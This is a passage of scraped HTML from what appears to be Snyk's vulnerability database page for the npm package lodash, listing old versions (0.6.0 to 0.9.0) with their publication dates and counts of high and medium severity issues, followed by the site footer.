data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.9.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.9.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.9.0\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.9.0\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.8.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.8.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.8.2\" published=\"10 Oct, 2012\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.8.2\" data-v-90f947a4>\n          10 Oct, 2012\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.8.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.8.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.8.1\" published=\"4 Oct, 2012\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.8.1\" data-v-90f947a4>\n          4 Oct, 2012\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.8.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.8.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.8.0\" published=\"2 Oct, 2012\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.8.0\" data-v-90f947a4>\n          2 Oct, 2012\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.7.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.7.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.7.0\" published=\"11 Sep, 2012\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.7.0\" data-v-90f947a4>\n          11 Sep, 2012\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.6.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.6.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.6.1\" published=\"30 Aug, 2012\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.6.1\" data-v-90f947a4>\n          30 Aug, 2012\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.6.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.6.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.6.0\" published=\"28 Aug, 2012\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.6.0\" data-v-90f947a4>\n          28 Aug, 2012\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr></tbody> <!----></table></div></div></div></div></div> <div class=\"button-container\" data-v-43af9ae8 data-v-7007bdd0><a role=\"button\" href=\"/package/npm/lodash/versions?page=2\" data-snyk-test=\"PackagePage: package versions button\" class=\"vue--button button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-7007bdd0><span data-v-94138f12 data-v-7007bdd0>See all versions</span></a></div></div></div></div></main> <footer id=\"slimfooter\" role=\"contentinfo\" marketingSiteHost=\"https://snyk.io\" class=\"site-footer\" data-v-415ae652 data-v-0fde60d6><div class=\"vue--layout-container site-footer__container\" data-v-43af9ae8 data-v-415ae652><div class=\"nav__groups\" data-v-43af9ae8 data-v-415ae652><nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Product</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/open-source-security-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Open Source\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/snyk-code/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Snyk Code<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/container-vulnerability-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Container\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/infrastructure-as-code-security/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Infrastructure as Code\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with Github<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with CLI<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Resources</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Vulnerability DB<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://docs.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Documentation<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/disclosed-vulnerabilities\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Disclosed Vulnerabilities\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/blog/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Blog<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://support.snyk.io/hc/en-us\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>FAQs<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Company</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/about\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>About<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/careers/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Jobs<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:contact@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Contact<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/policies/terms-of-service/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Policies\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://preferences.snyk.io/dont_sell\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Do Not Sell My Personal Information\n            <!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Contact Us</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:support@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Support<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/vulnerability-disclosure\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Report a new vuln\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/snyk/press-kit\" rel=\"nofollow\" class=\"nav__list__item__link\" data-v-43af9ae8 data-v-415ae652>Press Kit</a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/events\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Events<!----><!----></a></li></ul></nav> <nav class=\"nav__social\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Find us online</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://twitter.com/snyksec\" title=\"Twitter\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon twitter-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M22.46,6C21.69,6.35 20.86,6.58 20,6.69C20.88,6.16 21.56,5.32 21.88,4.31C21.05,4.81 20.13,5.16 19.16,5.36C18.37,4.5 17.26,4 16,4C13.65,4 11.73,5.92 11.73,8.29C11.73,8.63 11.77,8.96 11.84,9.27C8.28,9.09 5.11,7.38 3,4.79C2.63,5.42 2.42,6.16 2.42,6.94C2.42,8.43 3.17,9.75 4.33,10.5C3.62,10.5 2.96,10.3 2.38,10C2.38,10 2.38,10 2.38,10.03C2.38,12.11 3.86,13.85 5.82,14.24C5.46,14.34 5.08,14.39 4.69,14.39C4.42,14.39 4.15,14.36 3.89,14.31C4.43,16 6,17.26 7.89,17.29C6.43,18.45 4.58,19.13 2.56,19.13C2.22,19.13 1.88,19.11 1.54,19.07C3.44,20.29 5.7,21 8.12,21C16,21 20.33,14.46 20.33,8.79C20.33,8.6 20.33,8.42 20.32,8.23C21.16,7.63 21.88,6.87 22.46,6Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.youtube.com/channel/UCh4dJzctb0NhSibjU-e2P6w\" title=\"Youtube\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon youtube-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M10,15L15.19,12L10,9V15M21.56,7.17C21.69,7.64 21.78,8.27 21.84,9.07C21.91,9.87 21.94,10.56 21.94,11.16L22,12C22,14.19 21.84,15.8 21.56,16.83C21.31,17.73 20.73,18.31 19.83,18.56C19.36,18.69 18.5,18.78 17.18,18.84C15.88,18.91 14.69,18.94 13.59,18.94L12,19C7.81,19 5.2,18.84 4.17,18.56C3.27,18.31 2.69,17.73 2.44,16.83C2.31,16.36 2.22,15.73 2.16,14.93C2.09,14.13 2.06,13.44 2.06,12.84L2,12C2,9.81 2.16,8.2 2.44,7.17C2.69,6.27 3.27,5.69 4.17,5.44C4.64,5.31 5.5,5.22 6.82,5.16C8.12,5.09 9.31,5.06 10.41,5.06L12,5C16.19,5 18.8,5.16 19.83,5.44C20.73,5.69 21.31,6.27 21.56,7.17Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.facebook.com/snyksec\" title=\"Facebook\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon facebook-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2.04C6.5 2.04 2 6.53 2 12.06C2 17.06 5.66 21.21 10.44 21.96V14.96H7.9V12.06H10.44V9.85C10.44 7.34 11.93 5.96 14.22 5.96C15.31 5.96 16.45 6.15 16.45 6.15V8.62H15.19C13.95 8.62 13.56 9.39 13.56 10.18V12.06H16.34L15.89 14.96H13.56V21.96A10 10 0 0 0 22 12.06C22 6.53 17.5 2.04 12 2.04Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.linkedin.com/company/snyk\" title=\"LinkedIn\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon linkedin-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M19 3A2 2 0 0 1 21 5V19A2 2 0 0 1 19 21H5A2 2 0 0 1 3 19V5A2 2 0 0 1 5 3H19M18.5 18.5V13.2A3.26 3.26 0 0 0 15.24 9.94C14.39 9.94 13.4 10.46 12.92 11.24V10.13H10.13V18.5H12.92V13.57C12.92 12.8 13.54 12.17 14.31 12.17A1.4 1.4 0 0 1 15.71 13.57V18.5H18.5M6.88 8.56A1.68 1.68 0 0 0 8.56 6.88C8.56 5.95 7.81 5.19 6.88 5.19A1.69 1.69 0 0 0 5.19 6.88C5.19 7.81 5.95 8.56 6.88 8.56M8.27 18.5V10.13H5.5V18.5H8.27Z\"><!----></path></svg></span></a></li></ul> <h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Track our development</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/Snyk/\" title=\"Github\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon github-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.34,21.58 9.5,21.27 9.5,21C9.5,20.77 9.5,20.14 9.5,19.31C6.73,19.91 6.14,17.97 6.14,17.97C5.68,16.81 5.03,16.5 5.03,16.5C4.12,15.88 5.1,15.9 5.1,15.9C6.1,15.97 6.63,16.93 6.63,16.93C7.5,18.45 8.97,18 9.54,17.76C9.63,17.11 9.89,16.67 10.17,16.42C7.95,16.17 5.62,15.31 5.62,11.5C5.62,10.39 6,9.5 6.65,8.79C6.55,8.54 6.2,7.5 6.75,6.15C6.75,6.15 7.59,5.88 9.5,7.17C10.29,6.95 11.15,6.84 12,6.84C12.85,6.84 13.71,6.95 14.5,7.17C16.41,5.88 17.25,6.15 17.25,6.15C17.8,7.5 17.45,8.54 17.35,8.79C18,9.5 18.38,10.39 18.38,11.5C18.38,15.32 16.04,16.16 13.81,16.41C14.17,16.72 14.5,17.33 14.5,18.26C14.5,19.6 14.5,20.68 14.5,21C14.5,21.27 14.66,21.59 15.17,21.5C19.14,20.16 22,16.42 22,12A10,10 0 0,0 12,2Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.npmjs.com/package/snyk\" title=\"NPM\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><svg width=\"24\" height=\"24\" xmlns=\"http://www.w3.org/2000/svg\" class=\"npm-icon\" data-v-43af9ae8 data-v-415ae652><path d=\"M0 29h14.609V6.96h6.742V29h6.743V0H0z\" data-v-43af9ae8 data-v-415ae652></path></svg></a></li></ul> <div class=\"footer-banner\" data-v-43af9ae8 data-v-415ae652><a href=\"https://www.devseccon.com/the-secure-developer-podcast/\" target=\"_blank\" rel=\"noopener nofollow\" class=\"podcast-ad\" data-v-43af9ae8 data-v-415ae652><img src=\"/_nuxt/img/community-banner-footer.3085cc3.svg\" alt=\"DevSecOps Community Podcast\" width=\"220\" height=\"68\" data-v-43af9ae8 data-v-415ae652></a></div></nav></div> <div class=\"site-footer-bottom\" data-v-43af9ae8 data-v-415ae652><span aria-label=\"Snyk\" role=\"img\" data-snyk-test=\"SiteFooter: logo\" class=\"material-design-icon snyk-icon\" data-v-415ae652><svg fill=\"#fff\" height=\"60\" width=\"60\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path fill=\"#fff\" d=\"M3.646 14.917c-0.676 0-1.225-0.116-1.695-0.341l0.143-1.080c0.497 0.244 1.057 0.36 1.526 0.36 0.343 0 0.568-0.117 0.568-0.322 0-0.593-2.139-0.451-2.139-2 0-0.99 0.909-1.511 2.049-1.511 0.568 0 1.154 0.154 1.534 0.288l-0.154 1.062c-0.398-0.154-0.94-0.297-1.391-0.297-0.278 0-0.504 0.098-0.504 0.278 0 0.585 2.184 0.469 2.184 1.98 0 1.006-0.895 1.583-2.121 1.583l-0 0zM9.56 14.816v-2.675c0-0.611-0.271-0.9-0.786-0.9-0.251 0-0.515 0.071-0.695 0.18v3.395h-1.587v-4.636l1.553-0.128-0.038 0.758h0.053c0.335-0.45 0.902-0.792 1.58-0.792 0.812 0 1.514 0.503 1.514 1.692v3.106h-1.593zM20.046 14.816l-1.271-2.206h-0.128v2.205h-1.587v-5.491l1.587-2.476v5.124c0.316-0.386 1.38-1.853 1.38-1.853h1.958l-1.857 1.961 1.921 2.739h-2.004v-0.004zM15.004 10.134l-0.651 2.115c-0.127 0.398-0.251 1.129-0.251 1.129s-0.098-0.758-0.233-1.156l-0.696-2.089h-1.778l1.933 4.682c-0.263 0.623-0.669 1.148-1.211 1.148-0.098 0-0.195-0.004-0.29-0.015l-0.631 0.975c0.199 0.112 0.579 0.229 1.030 0.229 1.173 0 1.959-0.949 2.508-2.352l1.842-4.667-1.572 0.001z\"></path></svg></span> <div class=\"subhead\" data-v-43af9ae8 data-v-415ae652><p data-v-43af9ae8 data-v-415ae652>© 2023 Snyk Limited</p> <p data-v-43af9ae8 data-v-415ae652>Registered in England and Wales. Company number: 09677925</p> <p data-v-43af9ae8 